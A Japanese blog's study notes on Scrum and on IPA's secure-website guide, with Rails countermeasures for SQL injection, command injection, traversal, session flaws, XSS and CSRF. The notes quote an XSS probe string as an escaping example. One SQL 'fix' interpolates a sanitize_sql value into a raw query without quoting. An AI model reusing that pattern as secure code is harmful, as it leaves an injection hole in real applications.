・マネージャーや管理者ではなく、スクラム開発を誘導するトレーナー的な役割をする

3つの作成物

作成物名 説明
プロダクトバックログ ・機能や要求、要望、修正などプロダクトに必要なものを抽出し、実現したい順に並べたもの
・常にメンテナンスして最新に保つ
・上位項目については見積もりを済ませる
スプリントバッグログ ・選択したプロダクトバックログ項目と実行計画
・プロダクトバックログを具体的な作業に分割する
・後から増えることもある
・1タスクは 1 日以内で終わるサイズ
インクリメント ・スプリント単位で評価可能なもの
(動作して検査可能なソフトウェア)
・累計のプロダクトバックログ項目を合わせたもの
・プロダクトバックログアイテムが完成の定義を満たした時に誕生する
・よって、完成の定義が決まっていないと評価できない

全体の流れ

上記の『5・3・3』の流れのイメージをまとめる。

image.png

上のイメージのように、スクラム開発は『PDCA』を回すためのフレームワークと捉えると分かりやすい。『P:スプリントプランニング』、『D:実装+デイリースクラム』、『C:スプリントレビュー』、『A:スプリントレトロスペクティブ』みたいな対応になると思う。

雰囲気はつかめた、で、どうする?

スクラムの進め方はなんとなくわかったので、それぞれのイベントで役立つノウハウをまとめておきます。

プロダクトバックログの決定

プロダクトバックログでは次のことを決める必要がある。

  • どういうことを実現するのか(ゴール)
  • 絶対に達成したいことは何か(ミッション)

ゴールとミッションを明確にする

上記を決める活動の 1 つに、インセプションデッキと呼ばれる手法がある。インセプションデッキでは、明らかにすべき点を 10 個の質問でまとめられていて、それについてスクラムチームで話し合い、スライドにまとめていく。

プロダクトバックログのサンプル

詳細なフォーマットはない。機能を列挙したものや、ユーザストーリで書いたものなどがある。

  • 機能列挙型

    機能 目的 詳細 見積もり
    日報入力 最新情報から戦略を考える 日単位で訪問先、
    担当者、案件情報を入力する
    ログイン 機密のため利用者を制限 社員番号とパスワードで認証
    ・・・
  • ユーザストーリ型

    ストーリー デモ手順 見積もり
    毎日訪問先の状況を記録したい。最新情報から戦略を練りたいため XXX 社の記録ページを表示して、訪問日時、商談状況、報告内容を入力して記録ボタンを押す。確認画面が・・・
    利用者を制限したい。機密情報を社員のみに開示するため 未ログイン状態でアクセスするとログイン画面を表示。〇〇の社員番号とパスワードを・・・
    ・・・

作業の見積もり

プロダクトバックログの内容をまずは大雑把に下記くらいに分類する。

  • 簡単に終わりそう
  • 少し大変そう
  • 結構大変そう

上記の振り分けをしたら、1 つのプロダクトバックログの項目に対して、作業量の基準値を設定する。その基準に対して、他の項目たちが相対的にどんな感じかをそれぞれ見積もっていく。この時のやり方には、見積もりポーカーと呼ばれるものもある。

また、プロダクトバックログは、細かくしすぎない。見積もりは結局のところ推測でしかないので、プロダクトバックログを細かくして、見積もりを詳細にしたところでズレが起こる。その際、せっかく詳細に見積もりにかけた時間が無駄になるため

全体の見積もり(必要なスプリント数の見積もり)

上記で決定したプロダクトバックログと見積もりをもとに、全体でどの程度の時間が掛かるかが見通せるようになる。

理由は、それまでのスプリントで消化した見積もり数の値から、1スプリントで消化できる見積もり数(ベロシティ)を予測でき、残プロダクトバックログの見積もり数合計➗ベロシティで、残りどの程度かかるかがわかるようになるため。

スクラムを初めてやる場合には、何回か数をこなし、スプリントの平均ベロシティを出すと良い。

スプリントプランニングの実行

スプリントプランニングでは次のことを行う。

  1. このスプリントで何をするかを共有する
  2. 完成の定義を決める
  3. 必要な作業(タスク)を洗い出す
  4. スプリント内で終わるかを判断する

デイリースクラムで進捗確認

デイリースクラムでは次のことを共有する。

  • スプリントゴール達成のために昨日やったこと
  • スプリントゴール達成のために今日やること
  • スプリントゴール達成の妨げになる障害や問題点

デイリースクラムの中では、問題を見つけることだけにとどめ、実際の対処はデイリー後に議論する。

また、スプリントゴールに対して、スプリントバーンチャートを書いてみると、進捗把握できるため、有効らしい。

image.png

スプリントレビューでフィードバックを得る

スプリントレビューでは、スプリント開始時に決めたプロダクトバックログのうち、完成したものを開発チームおよびステークホルダーに見せて、今後のフィードバックを得る。

実際に動くものを触ることで期待したものになっているかの確認を行え、要求通りであっても『実は使いにくかった』というような改善のヒントを得ることができる。

スプリントレトロスペクティブでスプリント自体を見直す

スプリントレトロスペクティブは『ふりかえり』。スプリントを通してうまくいかなかったことや改善点等をチームで話し合って、次のスプリントをよりうまく回せるようにする。

ふりかえりの手法としては、『KPT』や 『Fun Done Learn』などいろんなやり方がある。心理的安全性のあるチームを作るためにコミュケーション向上を狙ったものや、スプリント中のやりにくい作業などを思い起こして、どうすればいいかなどを考える。

PDCA との違い

スクラム開発の各プロセスは PDCA に近いと言えるが、スクラムでは『スプリントレビューでプロダクト自体の改善』、『スプリントレトロスペクティブでプロセスの改善』という2重の改善がある。

上記は、ダブルループ学習とも呼ばれ、プロダクト自体をよくするとともに、作る過程も最適化していく点が異なっている。

所感

最初は『スクラム??』という感じでしたが、実際の流れを知ってしまうと『PDCA』を実践する開発手法なんかなと思いました。カンバンなど元々トヨタ生産方式(TPS)が海外にわたり、スクラムとして逆輸入されたと知った時はとても親近感が湧きました。 現職でも PDCA を新卒の時に教育を受けましたが、実際の業務では『D』しかなく、これでいいんか 🤔 と思っていたので、スクラムのやり方は PDCA を実践していると感じているのでとてもいいなと思っています。

特に開発をよりしやすくするためには、スプリントレトロスペクティブが最も重要だと思いました。長ったらしい名前で最初は『何??』となりましたが『ふりかえり』ということで、PDCA の『CA』に当たる部分かなと思っています。意図的にやらないとうまくいかない難しいプロセスですが、やっていくとチームが前向きになりとてもいい活動だと思っています。

参考

安全なウェブサイトの作り方~運用~

安全なウェブサイトの作り方を読んだので、理解した内容を自分なりにまとめておきます。資料

上記は3章構成になっていてそれぞれ長めの内容なので、ここでは2章の『ウェブサイトの安全性向上のための取り組み』の Web サーバの運用に関する対策や、Web サイトにおけるパスワードの取り扱いに対する対策などをについてまとめます。

Web サーバに関する対策

対策 説明
OS やソフトウェアの脆弱性情報を継続的に入手し、脆弱性への対処を行う 脆弱性は日々発見されるので脆弱性情報(NVD、CVE、セキュリティメーリングリスト、セキュリティブログ等)を継続入手し、ソフトウェア更新や問題の回避を行う
Web サーバをリモート操作する際の認証方法として、パスワード認証以外の方法を検討する パスワード認証のみだと総当たり攻撃等で突破される可能性があるので、公開鍵認証等を利用する
パスワード認証を利用する場合、十分に複雑な文字列を設定する 推測させないために左記を遵守
不要なサービスやアカウントを停止または削除する 不要なサービスが動いているとその管理が十分でなく、脆弱性を見逃す可能性あり。また不要なアカウントでも不正利用につながる可能性あり。不要なものは停止または削除しておく
公開していないファイルを Web 公開用のディレクトリ以下に置かない 公開用ディレクトリに保管されているファイル群は外部から閲覧可能。公開を想定しないファイルは公開用ディレクトリに置かない。

DNS に関する対策

対策 説明
ドメイン名およびその DNS サーバの登録情報を調査し、必要に応じて対処を行う Web サイトが利用するドメイン名や DNS サーバにおいて、問題のある運用や設定をしているとドメイン名の乗っ取りにつながる可能性がある。登録状況を確認し、セキュリティ向上のための対処を行う(ドメインレジストラへの連絡、セキュリティ確認、脆弱性の特定、法的措置等)
DNS ソフトウェアの更新や設定を見直す DNS を狙った攻撃に、キャッシュポイズニング攻撃、リフレクタ攻撃、水責め攻撃がある。DNS ソフトウェアの設定不備や古いバージョンが原因となる。設定見直しやソフトウェア更新等を定期的に行う

DNS を狙った攻撃についての補足:

  • キャッシュポイズニング攻撃

    DNS キャッシュに誤った情報を送り込む攻撃。キャッシュサーバがドメイン名と IP アドレスの対応を誤って記録するように試みる。これにより正当な Web サイトへの代わりに悪意ある Web サイトへリダイレクトされる可能性がある

  • リフレクタ攻撃

    DDoS 攻撃の一種で、リフレクタサーバと呼ばれる中継サーバを介して行う攻撃。攻撃者は小さなリクエストをリフレクタサーバに送り、リフレクタサーバはそれを攻撃対象に送る(例:送信元 IP アドレスを偽装した DNS リクエスト)。リフレクタサーバにて、リクエストを増幅させることもある。これにより攻撃対象の帯域幅を過剰に使用し、サービス中断や遅延を引き起こさせる。

    リフレクタサーバは、通常無害な Web サーバや DNS サーバを経由して行われるため、攻撃者の IP アドレスを隠すことができる。

  • 水責め攻撃

    DDoS 攻撃の一種で、大量の DNS クエリをターゲットの DNS サーバに送る攻撃。DNS サーバを過負荷にし、正当なトラフィックへのアクセスを遮断する。通常は合法的なもので、増幅や中継サーバを使用しない。攻撃者は多数のゾンビポット(感染したコンピュータ)を使用してトラフィックを増幅させ、DNS を過負荷にする。

ネットワーク盗聴への対策

通信を暗号化していない場合、盗聴によって情報が悪用され、なりすまし等につながる可能性がある。盗聴自体は Web サイトと利用者との経路上で行われるため防ぐのは難しいが、通信を暗号化することで盗聴されても重要情報の不正利用を防止できる。

対策 説明
重要な情報を取り扱う Web ページでは通信経路を暗号化する 暗号化通信のプロトコルである TLS を用いた HTTPS 通信を利用する。
すべてのページが https:// となるようにするために Web サーバがブラウザに対して HTTPS 通信を行うように指示する HSTS(Strict-Transport-Security) 機能を導入する。
利用者へ通知する情報は、メールで送らず、暗号化された https:// ページに表示する メール等で重要情報を送信する場合、メール本文を暗号化することが推奨されるが利用者側に暗号化環境(S/MINE, PGP 等)やプライベートキー等が必要になり現実的ではない。
よって、重要情報をネットワークを通して送信する場合、HTTPS 通信を利用したページに表示することが推奨
Web サイト運営者がメールで受け取る重要情報を暗号化する 運営については自身で管理できるので、S/MIME, PGP 等を利用しメールを暗号化して重要情報を取得する。
  • Rails での HSTS 機能の有効化

    HSTS 機能を有効化するには、config/environments/production.rb に下記を設定するだけ。(config.force_ssl)

  config.force_ssl = true

新規に Web サイトを構築する場合は上記で良いが、HTTP で運用されていたものを HTTPS 対応する際には泥臭くやっていく必要がありそう。

また、cookie 情報を暗号化する設定になっているかも確認する。(Cookie へのアクセス制限)

Rails ではデフォルトで cookie を暗号化しているとのこと(セッションストレージ

フィッシング詐欺を助長しないための対策

フィッシング詐欺は、利用者を誘導し巧妙に作成した偽の Web サイトを本物の Web サイトと勘違いさせ、入力された認証情報や個人情報を入手するもの。

フィッシング詐欺を助長しないためには、本物かどうかを利用者が判断しやすいように下記の点に注意する。

対策 説明
EV SSL 証明書を取得し、サイトの運営者が誰であるかを証明する サーバの運営者が誰であるかを示すのに有効。ただし、本当に安全かどうかはユーザが最終的に判断する必要がある
フレームを利用する場合、こフレームの URL を外部パラメータから生成しないようにする frame 要素を利用する場合は、子フレームの URL が任意の URL にならないようにする
利用者がログイン後にリダイレクト機能で動的に実装しているサイトについて、リダイレクト先は自サイトのドメインのみ許可する 利用者の警戒はログイン時のみで、ログイン後は安心してしまうことが多い。そこでリダイレクトされると警戒心が弱まっているため、重要情報を入力してしまう可能性がある。リダイレクトは自サイトのみとし、許可リスト方式のガードを変ける。
  • SSL 電子証明書の種類

    サーバの電子証明書には、認証レベルの低い順から DV*1, OV*2, EV*3がある。費用も認証レベルに応じて変わり、DV は無料〜数万、OV は数万、EV は数万〜十数万となっている。

    ちょっと前までは EV であればブラウザのアドレスバーは緑色になったが今は廃止されているらしい。理由は、EV は所在が実在し金さえ払えば取得できるものであり、本当に安全かどうかは保証されない。

    その際に、緑色にて視覚的に安全とユーザに誤解させ、必要な警戒を解く可能性があるため廃止の運びとなったらしい。

    https 通信で EV 証明書を示す緑のバーが廃止された理由について調べてみた。 - t-hom’s diary

パスワードに関する対策

Web サイトにおける認証では、ユーザ ID とパスワードを用いるのが一般的だが、取り扱い方法に問題があると、利用者の認証情報は不正取得される可能性がある。不正取得の手段の一つに『推測』があり、Web サイト運用時には、推測のヒントを与えないように注意する。

対策 説明
初期パスワードは推測困難な文字列で発行 暗号論的擬似乱数生成器を用いて、規則性のないものを設定する
パスワードの変更には現行のパスワード入力を求める -
入力時の応答メッセージが認証情報の推測のヒントとならないようにする 認証失敗に『パスワードが違います』といった具体的に失敗した部分を表示させない。
入力フィールドは、パスワードを伏せ字で表示されるようにする -
パスワードをサーバ内で保管する場合は、平文ではなくソルト付ハッシュ値で保管 パスワードをハッシュ付きとすることで、SQL インジェクション等で Web サイト内で保管したパスワードが漏洩しても、不正ログインに悪用されにくくする。

WAF における HTTP 通信の検査

WAF(Web Application Firewall) は Web アプリケーションを保護するためのセキュリティ機器の一つで、HTTP トラフィックを監視し、悪意あるリクエストや攻撃から Web アプリケーションを守る。

image WAF とは?初心者にも分かりやすく解説! | GMO クラウドアカデミー

WAF の検査では、Web サイト運営者が設定した検出パターンに基づき機械的に判断し、以下の効果を期待できる。

  • 脆弱性を悪用した攻撃からのアプリケーションの防御
  • 脆弱性を悪用した攻撃の検出
  • 複数の Web アプリケーションへの攻撃をまとめて防御

機械的に判定するため、偽陽性偽陰性となることも考慮する必要がある。

また、WAF が有効な状況は次のもの:

  • 開発者に Web アプリケーションの改修を依頼できない:委託先が開発事業から徹底している等
  • 改修できない Web アプリケーションで脆弱性を発見:組み込んだ商用製品、OSS

Web アプリケーションではそもそも脆弱性を作り込まないように実装すべきだが、早期に修正が求められるが、対応が困難な場合がある。そんな時に  WAF は攻撃による影響を低減することが可能。

参考

*1:SSL 申請者がドメインを所有している

*2:ドメイン管理者である企業・団体が存在している

*3:OV をより厳格に審査したもの

*4:事前に計算されたハッシュ値のテーブルを用いて、ハッシュ値から元のパスワードを逆引きする

*5:一般的によく使われるパスワードに対して総当たりする

安全なウェブサイトの作り方~設計、実装~

安全なウェブサイトの作り方を読んだので、理解した内容を自分なりにまとめておきます。資料

上記は3章構成になっていてそれぞれ長めの内容なので、ここでは1章の『ウェブアプリケーションのセキュリティ実装』の設計や実装レベルの解決や対策方法についてまとめます。

上記の内容に沿って、Ruby on Rails での実装方法についても合わせてまとめておこうと思います。

根本的解決と保険的解決

『安全なウェブサイトの作り方』では、Web アプリケーションにおける脆弱性対策について、以下の分類をしている。

  • 根本的解決

    脆弱性を作り込まない実装』を実現する手法。ここに分類される対策を取ることで、対策対象である脆弱性を狙った攻撃の無効化が期待できる

  • 保険的対策

    『攻撃による影響を軽減する』対策手法。脆弱性そのものを無くせないが、下記フェーズでの影響を軽減できる。

    フェーズ 具体例
    攻撃される可能性の低減 攻撃につながるヒントを与えない
    攻撃された場合に脆弱性を突かれる可能性の低減 入力から攻撃に使われるデータをサニタイズする
    脆弱性を突かれた場合の被害範囲の最小化 アクセス制御
    被害が生じた際の早期周知 事後通知

理想的には根本的解決手法の採用が望ましく、保険的対策のみに頼った設計は推奨されない。保険的対策は、根本的解決の実装漏れがあった場合のセーフティネットとして機能するため、合わせて採用することが有効。

ウェブアプリケーションのセキュリティ実装

SQL インジェクション

概要

データベース(DB)と連携した Web アプリケーションでは、利用者からの入力情報をもとに SQL 文を組み立てる。この時の SQL 文の組み立てに問題がある場合、DB の不正利用を招く可能性がある。こうした攻撃を『SQL インジェクション攻撃』と呼ぶ。

image

発生しうる脅威

脅威 具体例
DB 内の非公開情報の閲覧 個人情報の漏洩
DB 内の情報改ざん・消去 Web ページの改ざん、パスワード変更、システム停止
認証回避による不正ログイン 不正ログインしたアカウントでの操作実行
ストアドプロシージャ等を利用した OS コマンド実行 システム乗っ取り、他への攻撃の踏み台としての悪用

根本的解決

  # プレースホルダを使用したSQLクエリ
  User.where(name: params[:name])
  • SQL 文の組み立てを文字列結合する場合、エスケープ処理等を行うデータベースエンジンの API を用いて SQL 文のリテラルを正しく構成する

    SQL 文の組み立てを文字列結合する場合、SQL 文中で可変となる値をリテラル(定数)で埋め込む。値を文字列型で埋め込む場合はエスケープ処理を実施する。

  # sanitize_sql
  username = sanitize_sql(username_raw)
  query = "SELECT * FROM users WHERE username = #{username}"
  results = ActiveRecord::Base.connection.execute(query)
  • Web アプリケーションに渡されるパラメータに SQL 文を直接指定しない

保険的対策

  • エラーメッセージをそのままブラウザに表示しない

    エラーメッセージに、データベースの種類やエラー原因、SQL 文等が含まれる場合、SQL インジェクション攻撃につながるヒントになるため表示しない。

  • データベースアカウントに適切な権限を与える

    Web アプリケーションがデータベースに接続する際に使用するアカウントに権限を必要以上に与えない。

OS コマンドインジェクション

概要

Web アプリケーションによっては、外部からの攻撃により Web サーバの OS コマンドを不正に実行されてしまう問題を持つものがある。こうした攻撃のことを『OS コマンドインジェクション攻撃』と呼ぶ。

image

Ruby での外部コマンドの実行は次のものがあり、サーバ上で利用する場合には注意が必要になる:

  • system:コマンドを実行し、実行結果の真偽値を受けとる
  result = system("ls -l")
  puts result #<= 成功なら true, 失敗なら false
  • execRuby のプロセスを外部コマンドに置き換えて実行。コマンド実行結果は受け取らない
  exec("ls -l") #<= コマンド実行に成功する場合、Ruby プロセスから抜ける
  puts "この行は実行されない"
  • バッククォート:外部コマンドを実行し、実行結果を文字列として取得
  result = `ls -l`
  puts result #<= コマンド実行時の結果

発生しうる脅威

脅威 具体例
サーバ内ファイルの閲覧/改ざん/削除 重要情報の漏洩、設定ファイルの改ざん
不正なシステム操作 意図しない OS シャットダウン、ユーザアカウントの追加/削除
不正なプログラムのダウンロード ウィルス/ワーム/ボットへの感染、バックドア設置
他システムへの攻撃の踏み台 サービス不能攻撃、システム攻略のための調査、迷惑メール送信

根本的解決

  • シェルを起動できる言語の利用を避ける

    Web アプリケーションに利用されている言語には、シェルを起動できる機能を持つものがある。そうしたメソッドの利用は避け、他の関数で代替する。

    Ruby では、上に示した外部コマンドを実行するメソッドは全てシェルを通して実行している。代替手段としては Open3 ライブラリを使え、これはシェルを通さずに外部コマンド実行時の標準入力/出力/エラー出力を操作できる

  require 'open3'

  Open3.popen3('ls', '-l') do |stdin, stdout, stderr|
    while line = stdout.gets
      puts line
    end
  end

保険的対策

  • シェルを起動できる言語機能を利用する場合は、その引数を構成するすべての変数に対してチェックを行い、あらかじめ許可した処理のみを実行する

    シェルを起動できる言語機能の引数を構成する変数に対し、引数に埋め込む前にチェックをかける。チェック方法には、許可リスト方式のホワイトリスト方式を採用する。ブラックリスト方式はチェック漏れが生じる可能性があるため推奨されない。

パス名パラメータの未チェック/ディレクトリ・トラバーサル

概要

Web アプリケーションで、外部からのパラメータに Web サーバ内のファイルを直接指定するものがある。ファイル名指定の実装に問題があると、攻撃者に任意のファイルを指定され、Web アプリケーションが意図しない処理を実施してしまう可能性がある。この攻撃のことを『ディレクトリ・トラバーサル攻撃』という。

image.png

発生しうる脅威

脅威 具体例
サーバ内ファイルの閲覧/改ざん/削除 重要情報の漏洩、設定ファイル/データファイル/ソースコード等の改ざんや削除

個人情報等の重要情報を Web サーバ内にファイル保存しているサイトは注意が必要。サーバ内ファイルを利用する Web アプリケーションの例としては次のようなものがある。

  • Web ページのデザインプレートをファイルから読み込む
  • 利用者からの入力を指定ファイルに書き込む

根本的解決

  • 外部からのパラメータで Web サーバ内のファイル名を直接指定する実装を避ける

    Web サーバ内のファイル名を直接指定する実装では、任意のファイルを指定されることで公開を想定しないファイルが外部から閲覧される可能性がある。
    外部からのパラメータで、Web サーバ内のファイル名指定が本当に必要かを見直し、代替方法や設計変更が推奨される。

  • ファイルを開く際は、固定ディレクトリを指定し、ファイル名にディレクトリ名が含まれないようにする

    想定しないファイルを開かせないために、アクセスするディレクトリを固定し、固定ディレクトリ+ファイル名 という形式にする。その際、ファイル名を相対アドレスとした ディレクトリ・トラバーサル攻撃を回避するために、ファイル名 からディレクトリ名を取り除くようにする。

    rubyディレクトリセパレータの削除は次のようなコードになる:

  # / と \ を _ に置換
  user_input = params[:input].gsub(/[\/\\]/, '_')

そのほかにも、『相対アドレスの絶対アドレス変換+ホワイトリストによる許可』を組み合わせる方法も有効。

  user_input_filename = params[:filename]

  # アプリケーション内で許可されたディレクトリ
  base_directory = "uploads"

  relative_path = File.join(base_directory, user_input_filename)
  absolute_path = File.expand_path(relative_path)

  # 絶対パスが許可されたディレクトリ内にあることを確認
  if absolute_path.start_with?(File.expand_path(base_directory))
    File.open(absolute_path, 'wb') do |file|
      # ファイルを書き込む
    end
  end

保険的対策

  • Web サーバ内のファイルへのアクセス権限設定を適切に管理する

    アクセス権限が正しく管理できていれば、Web アプリケーションが任意のディレクトリを開く処理を実行しても、Web サーバ側で拒否できる。

  • ファイル名チェックを行う

    ファイル名を指定した入力パラメータ値に /, ../ 等のディレクトリを指定できる文字列を検知したら処理を中止する。URL エンコードした文字列についても考慮すること。

セッション管理の不備

概要

Web アプリケーションにはセッション ID(利用者を識別する情報)を発行し、セッション管理するものがある。セッション ID の発行・管理に不備がある場合、ログイン中のセッション ID を不正取得され、その利用者になりすましてアクセスされる可能性がある。この攻撃のことを『セッション・ハイジャック』と呼ぶ。

image image

また、悪意ある人が用意したセッション ID を何らかの方法で利用者に送り込み、利用者が気づかずにログインすると、そのセッション ID でログインした状態になってしまう。その後、攻撃者は当該のセッション ID でアクセスし利用者になりすます。

image

用意したセッション ID を送り込めてしまうのは、次のいずれかに該当する場合:

  • Web アプリケーションがセッション ID を POST メソッドの hidden パラメータで受け渡す実装
  • セッション ID を cookie で受け渡す際に、利用者のブラウザがドメインを跨る cookie 問題を抱えている
  • セッション ID を cookie で受け渡す際に、Web アプリケーションサーバに Session Adoption の脆弱性がある
  • Web アプリケーションに XSS 等の脆弱性がある場合

発生しうる脅威

脅威 具体例
ログイン後の利用者のみが利用可能なサービスの悪用 不正送金、意図しない商品購入/退会処理
ログイン後の利用者のみが編集可能な情報の改ざん、新規登録 各種設定の不正な変更、掲示板への不適切な書き込み
ログイン後の利用のみが閲覧可能な情報の閲覧 非公開の個人情報の不正閲覧、Web メールの不正閲覧

上記のように、ログイン機能を持つ Web サイト全般に注意が必要な問題。具体的には下記のようなサイト:

  • 金銭処理が発生するサイト:ネットバンキング、ネット証券、ショッピング、オークション等
  • 非公開情報を扱うサイト:転職サイト、コミュティサイト、Web メール等
  • その他、ログイン機能を持つサイト:管理者画面、会員専用サイト、日記サイト

根本的解決

  • セッション ID を推測が困難なものにする

    悪意あるものが推測できないようにセッション ID を生成するようにする。セッション管理の仕組みが適用される Web アプリケーションサーバを利用する際は、それが提供する仕組みをすれば良い。

    Ruby on Rails ではセッション管理の仕組みがデフォルトで導入されており、自前でセッション ID を生成する必要はない。

  • セッション ID を URL パラメータに格納しない

    セッション ID を URL パラメータに格納していると、ブラウザの Referer 送信機能*1によってセッション ID の含まれた URL をリンク先のサイトに送信してしまう。悪意あるものにそれが渡ると、セッションハイジャックされてしまう。

  • HTTPS 通信で利用する cookie には secure 属性を加える

    HTTPS 通信のみで利用されるように、cookiesecure 属性を設定する。そうすれば、暗号化された通信を前提とすることになり、盗聴による盗み見を防止できる。

  • ログイン成功後に、新しくセッションを開始する

    セッション ID 固定攻撃に対するために、ログインが成功した時点から新しいセッションを開始し、古いセッション ID を無効化する。

  • ログイン成功後に、既存セッション ID とは別に機密情報を発行し、ページ遷移ごとにその値を確認する

    セッション ID とは別に、ログイン成功時に秘密情報を作成して cookie にセットし、cookie の値が一致することを全部のページで確認する。

保険的対策

  • セッション ID を固定しない

    セッション ID は利用者のログインごとに新しく設定し、固定値としない。

  • セッション ID の cookie の有効期限に注意する

    cookie は有効期限を過ぎるまでブラウザに保持される。その時点で保持された cookie が盗まれる可能性があるため、有効期限に気をつける。

クロスサイト・スクリプティングXSS

概要

Web アプリケーションには、利用者からの内容や HTTP ヘッダの情報を処理し、Web ページとして出力するものがある。具体的には次のようなもの:

  • 入力内容を確認させる表示画面(会員登録、アンケート等)
  • 誤入力時に再入力を要求する際に、前の入力を表示するとき
  • 検索結果の表示
  • エラー表示
  • コメントの反映(ブログ、掲示板等)

Web ページの出力に問題がある場合、その Web ページにスクリプト等を埋め込まれてしまう。これを悪用した攻撃を『クロスサイト・スクリプティング攻撃』という。この攻撃は、Web サイトに対してではなく、Web ページを閲覧している利用者 をターゲットしている。

image

発生しうる脅威

脅威 具体例
本物サイト上に偽のページが表示される 偽情報の流布による混乱、フィッシング詐欺による重要情報の漏洩
ブラウザが保存している cookie の取得 セッション ID がある場合盗用によるなりすまし、個人情報がある場合その内容の漏洩
任意の cookie をブラウザに保存される セッション ID 攻撃への悪用

対策について

XSS への対策は Web アプリケーションの性質に合わせて3つに分類される:

  • HTML テキスト入力を許可しない場合の対策(検索機能や個人情報の登録、HTML タグを用いた入力が不要なもの)
  • HTML テキスト入力を許可する場合の対策(掲示板やブログ等)
  • 全ての Web アプリケーションに共通する対策

HTML テキストの入力を許可しない場合の対策

根本的解決

  • Web ページに出力する全ての要素に対してエスケープ処理を施す

    Web ページの本文や HTML タグの属性値等に相当する全ての出力要素にエスケープ処理する。エスケープ処理は、Web ページの表示に影響する記号文字を置換する(<, >, & 等を &lt;, &gt;, &amp;等)方法がある。

    Ruby on Rails ではデフォルトでエスケープ処理が行われる:

  <!-- use_input: `<script>alert("XSS");</script>` -->
  <%= user_input %>
  <!-- 出力: `&lt;script&gt;alert(&quot;XSS&quot;);&lt;/script&gt;` -->
  • URL を出力するときは、『http://』や『https://』で始まる URL のみ許可する

    URL には、『http://』や『https://』で始まるもの以外に、『javascript:』ものがある。Web ページに出力するリンク先画像を、外部からの入力で動的に生成する場合、生成された URL にスクリプトが含まれていると、XSS 攻撃が可能になる場合がある。

    例えば、<a href="リンク先URL" の形式で Web ページに出力するアプリケーションにおいて、javascript: 等で始まる文字列を入力された場合にスクリプトを埋め込まれる可能性がある。

    リンク先の URL は、『http://』や『https://』から始まるものを許可する『ホワイトリスト方式』で実装する。

  • <script>...</script> 要素の内容を動的に生成しない

    script タグ要素を外部入力に依存する形で生成する場合、それらが安全なスクリプトであるかを確実に判断するのは困難なため動的生成は避ける。

  • スタイルシートを任意のサイトから取り込めるようにしない

    CSS には expression() 等を利用してスクリプトを記述することができる。外部入力された CSS が安全かどうかを確実に判断するのは困難なため避ける。スタイルを変えさせたい場合、特定の属性のみ指定できるようにする方法がある。

保険的対策

  • 入力値の内容チェックを行う

    入力値全てが Web アプリケーションの仕様に合うものかどうかを確認する処理を実装し、満たさない場合は以降の処理を実施せず再入力を求めるという対策もある。ただし、全ての入力を漏れなくチェックするのは難しい。

HTML テキスト入力を許可する場合の対策

根本的対策

  • 入力された HTML テキストから構文解析木を作成し、スクリプトを含まない必要な要素のみを抽出する

    入力された HTML テキストに対して構文解析を行い、『ホワイトリスト方式』で許可する要素のみを抽出する。

    Ruby on Rails では以下の方法がある。

    • ActiveView の sanitize メソッドの利用

      ビューに渡す前に使用する。比較的安全な設定で HTML をフィルタリングでき、不要な HTML 要素や属性は削除され、安全なもののみが残る。カスタマイズの柔軟性はあまりない。

      user_input = "<p>This is a <a href='http://example.com'>link</a>.</p>"
      sanitized_html = sanitize(user_input)
      
    • sanitize gem の使用

      HTML を安全にフィルタリングできる。コントローラやビュー内で使用し、カスタマイズ(参考)もやりやすいらしい。

      require 'sanitize'
      
      user_input = "<p>This is a <a href='http://example.com'>link</a>.</p>"
      sanitized_html = Sanitize.fragment(user_input, Sanitize::Config::RELAXED)
      

      上記は、Sanitize::Config::RELAXED を指定して比較的緩やかなフィルタリングを実行している。Sanitize::Config については Configuration が詳しい。

保険的対策

  • 入力された HTML テキストから、スクリプトに該当する文字列を排除する

    入力された HTML テキストに含まれるスクリプトに該当する文字列を抽出し排除する。『ブラックリスト』方式による方法であり、危険な文字列を完全に抽出するのは困難なため推奨されない。

全てのアプリケーションに共通する対策

根本的解決

  • HTTP レスポンスヘッダの Content-Type フィールドに文字コード(charset)を指定する

    HTTP のレスポンスヘッダの Content-Type フィールドに Content-Type: text/html; charset=UTF-8 のように文字コードをして id けいる。この指定を省略した場合、ブラウザは文字コードを推定して画面表示を処理する。

    一部のブラウザでは、該当部分に特定文字が含まれていると必ず特定の文字コードとして処理するものがあり、攻撃者はこの挙動を悪用し、その文字コードに特化した悪意ある文字列を埋め込む攻撃をする。

    上記を防ぐために、Content-Typecharset を必ず指定すること。

    Ruby on Rails では Content-Typecharset はデフォルトで utf-8 が指定されると思われる(config.encoding, head でヘッダのみのレスポンスを生成する )。

保険的対策

  • Cookie の漏洩対策として、発行する cookieHttpOnly 属性を加え TRACE メソッドを無効化する

    HttpOnlycookie に設定できる属性で、設定された cookie は HTML テキスト内のスクリプトからのアクセスがされる。これにより、Web サイト内に XSS脆弱性があっても cookie の盗用が防止できる。ただし、ブラウザによって対応が異なるため注意が必要。

  • XSS潜在的脆弱性対策として有効なブラウザ機能を有効にするレスポンスヘッダを返す

    ブラウザには、XSS 攻撃のブロックを試みる機能を備えたものがある。ユーザの設定によっては無効になっている場合があるので、サーバから明示的に有効にするレスポンスヘッダと返すことで悪用を避けることができる。

クロスサイト・リクエスト・フォージェリ(CSRF

概要

サービス提供に際しログイン機能を設けている Web アプリケーションが、あるリクエストがログインユーザの意図したものかを識別する仕組みを持たない場合、外部サイトを経由した悪意あるリクエストを受け入れてしまう可能性がある。

そのような Web サイトにログインしたユーザが、悪意ある罠に嵌ると、利用者が予期しない処理を実行させられてしまう可能性がある。

image

発生しうる脅威

脅威 具体例
ログイン後の利用者のみが利用可能なサービスの悪用 不正送金、意図しない商品購入/退会処理
ログイン後の利用者のみが編集可能な情報の改ざん、新規登録 各種設定の不正変更、掲示板への不適切な書き込み

上記の攻撃は、下記の技術を用いてセッション管理を実装している Web サイトが攻撃の影響を受ける可能性がある:

  • cookie を用いたセッション管理
  • Basic 認証
  • SSL クライアント認証

根本的解決

  • 処理を実行するページを POST メソッドでアクセスするようにし、その『hidden パラメータ』に秘密情報が挿入されるよう、前のページを自動生成して、実行ページではその値が正しい場合のみ処理を実行する

    『入力画面⇨確認画面⇨登録処理』のページ遷移を例とする。確認画面表示時に、合わせて秘密情報を『hidden パラメータ』に出力する。秘密情報はセッション管理のセッション ID 等に使われる。この時の ID は推測困難なように暗号論的擬似乱数生成器を用いる。

    次に確認画面から登録処理のリクエストを受けた際は、リクエスト内容に含まれる『hidden パラメータ』の値を比較し、一致しない場合は登録しないようにする。

  • 処理を実行する直前のページで再度パスワード入力を求め、実行ページでは再入力されたパスワードが正しい場合のみ処理を実行する

